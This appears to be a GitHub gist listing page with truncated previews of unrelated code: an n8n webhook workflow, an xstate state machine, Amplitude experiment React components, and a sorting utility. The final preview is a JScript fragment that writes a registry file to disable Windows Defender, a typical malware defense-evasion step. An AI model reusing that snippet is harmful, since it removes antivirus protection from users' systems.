This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "nodes": [ | |
| { | |
| "parameters": { | |
| "httpMethod": "POST", | |
| "path": "link-xray", | |
| "responseMode": "responseNode", | |
| "options": {} | |
| }, | |
| "id": "0d69f1d6-0c3a-412d-a874-860d62322843", |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { createMachine, assign } from "xstate"; | |
| interface Context { | |
| maxGears: number; | |
| fuelLevel: number; | |
| currentGear: number; | |
| } | |
| const engineCarMachine = createMachine<Context>( | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // <Demo> must be enclosed in <ExperimentLayout>. | |
| // | |
| // Example: | |
| // <ExperimentLayout> | |
| // <Demo /> | |
| // </ExperimentLayout> | |
| const Demo = () => { | |
| const { isControlActive } = useExperiment(); | |
| const variantId = 'test_demo_experiment'; // TODO: update with real experiment flag key. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { useContext } from 'react'; | |
| import { | |
| AmplitudeExperimentContext, | |
| AmplitudeExperimentContextValue, | |
| } from './ExperimentContext'; | |
| const useExperiment = (): AmplitudeExperimentContextValue => { | |
| const context = useContext(AmplitudeExperimentContext); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import React, { FC } from 'react'; | |
| import { AmplitudeExperimentProvider } from './ExperimentProvider'; | |
| const ExperimentLayout: FC = ({ children }) => { | |
| const debug = true; // todo: Set this const dependending your environment. | |
| return ( | |
| <AmplitudeExperimentProvider | |
| envExperimentKey="EXPERIMENT-ENVIRONMENT-KEY" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // ExperimentProvider.tsx | |
| import { FC, useMemo, useState } from 'react'; | |
| import { | |
| AmplitudeUserProvider, | |
| Experiment, | |
| ExperimentClient, | |
| } from '@amplitude/experiment-js-client'; | |
| import Amplitude from 'amplitude-js'; | |
| import { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { createContext } from 'react'; | |
| import { ExperimentClient } from '@amplitude/experiment-js-client'; | |
| export interface AmplitudeExperimentContextValue { | |
| experiment?: ExperimentClient; | |
| isVariantActive: (variantId: string, variantValue?: string) => boolean; | |
| /** | |
| * @description Returns true if the user is in the experiment with variant `control`. | |
| */ | |
| isControlActive: (variantId: string, defaultControl?: string) => boolean; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import { useCallback, useEffect, useState } from 'react'; | |
| import { Experiment, ExperimentClient } from '@amplitude/experiment-js-client'; | |
| import { | |
| AmplitudeExperimentContext, | |
| type AmplitudeExperimentContextValue, | |
| } from './AmplitudeExperimentContext'; | |
| export interface AmplitudeExperimentProviderProps { | |
| envExperimentKey: string; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| export function orderArrayByNumberAttribute<T>( | |
| array: T[], | |
| attribute: keyof T, | |
| order: 'asc' | 'desc', | |
| ): T[] { | |
| return array.sort((a, b) => { | |
| const aValue = a[attribute]; | |
| const bValue = b[attribute]; | |
| if (order === 'asc') { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var regContent = "Windows Registry Editor Version 5.00\n\n"; | |
| regContent = regContent + "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender]\n"; | |
| regContent = regContent + "\"DisableAntiSpyware\"=dword:00000001\n\n"; | |
| var sw = WSH.CreateObject("scripting.filesystemobject"); | |
| var sh = WScript.createObject("wscript.shell"); | |
| var parth = sh.ExpandEnvironmentStrings("%temp%") + "\\ebgeaegdbdecaedfebace.reg"; | |
| if (sw.fileExists(parth)) { | |
| sw.deleteFile(parth); |
NewerOlder